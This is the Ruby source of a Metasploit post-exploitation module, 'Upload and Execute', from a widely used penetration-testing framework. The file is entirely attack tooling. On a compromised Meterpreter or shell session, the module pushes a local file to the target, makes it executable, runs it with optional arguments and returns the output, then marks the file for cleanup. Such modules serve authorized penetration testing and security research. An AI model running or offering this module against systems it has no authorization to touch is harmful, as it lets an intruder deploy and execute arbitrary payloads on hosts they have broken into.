1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::File
8
  include Msf::Exploit::FileDropper
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Upload and Execute',
15
        'Description' => %q{Push a file and execute it.},
16
        'Author' => 'egypt',
17
        'License' => MSF_LICENSE,
18
        'Platform' => ['win', 'unix', 'linux', 'osx', 'bsd', 'solaris'],
19
        'SessionTypes' => ['meterpreter', 'shell'],
20
        'Notes' => {
21
          'Stability' => [CRASH_SAFE],
22
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
23
          'Reliability' => []
24
        }
25
      )
26
    )
27

28
    register_options([
29
      OptPath.new('LPATH', [true, 'Local file path to upload and execute']),
30
      OptString.new('RPATH', [false, 'Remote file path on target (default is basename of LPATH)']),
31
      OptString.new('ARGS', [false, 'Command-line arguments to pass to the uploaded file']),
32
      OptInt.new('TIMEOUT', [true, 'Timeout for command execution', 60])
33
    ])
34
  end
35

36
  def run
37
    print_status("Uploading #{lpath} to #{rpath}")
38
    upload_file(rpath, lpath)
39
    register_file_for_cleanup(rpath)
40

41
    if session.platform == 'windows'
42
      # Don't use cmd.exe /c start so we can fetch output
43
      cmd = rpath
44
    else
45
      # Set 700 so only we can execute the file
46
      chmod(rpath, 0o700)
47

48
      # Handle absolute paths
49
      cmd = rpath.start_with?('/') ? rpath : "./#{rpath}"
50
    end
51

52
    print_status("Executing command: #{cmd}")
53
    output = cmd_exec(cmd, args, timeout)
54

55
    if output.blank?
56
      print_status('Command returned no output')
57
    else
58
      print_line(output)
59
    end
60
  end
61

62
  def lpath
63
    datastore['LPATH']
64
  end
65

66
  def rpath
67
    datastore['RPATH'].blank? ? File.basename(lpath) : datastore['RPATH']
68
  end
69

70
  def args
71
    datastore['ARGS']
72
  end
73

74
  def timeout
75
    datastore['TIMEOUT']
76
  end
77
end
78

79